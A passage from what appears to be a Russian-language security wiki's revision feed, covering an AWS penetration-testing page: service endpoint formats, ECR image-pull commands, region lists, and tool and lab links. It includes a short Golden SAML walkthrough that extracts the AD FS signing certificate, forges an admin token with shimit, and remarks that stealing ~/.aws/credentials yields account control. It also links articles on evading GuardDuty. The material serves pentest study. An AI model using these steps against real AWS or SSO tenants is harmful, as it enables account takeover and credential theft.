Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.&lt;br /&gt;
&lt;br /&gt;
[[File:A2i.png]]&lt;br /&gt;
&lt;br /&gt;
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .&lt;br /&gt;
&lt;br /&gt;
При создании задачи разделяется на 3 варианта:&lt;br /&gt;
&lt;br /&gt;
* Textract - извлечение пары ключ-значение из текста&lt;br /&gt;
&lt;br /&gt;
* Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.&lt;br /&gt;
&lt;br /&gt;
* Custom - пользовательский вариант&lt;br /&gt;
&lt;br /&gt;
Интересный факт - использует &amp;quot;Quill Rich Text Editor&amp;quot; для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:&lt;br /&gt;
&lt;br /&gt;
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.&lt;br /&gt;
&lt;br /&gt;
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.&lt;br /&gt;
&lt;br /&gt;
3. Vendor - решения сторонних разработчиков.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли ===&lt;br /&gt;
&lt;br /&gt;
==== AmazonAugmentedAIIntegratedAPIAccess ====&lt;br /&gt;
&lt;br /&gt;
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.&lt;br /&gt;
&lt;br /&gt;
TODO: проверить, дает ли это еще возможностей злоумышленнику&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:A2i.png&amp;diff=1221</id>
		<title>Файл:A2i.png</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:A2i.png&amp;diff=1221"/>
				<updated>2022-10-17T10:50:36Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1220</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1220"/>
				<updated>2022-10-17T10:48:34Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Augmented AI (Amazon A2I) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
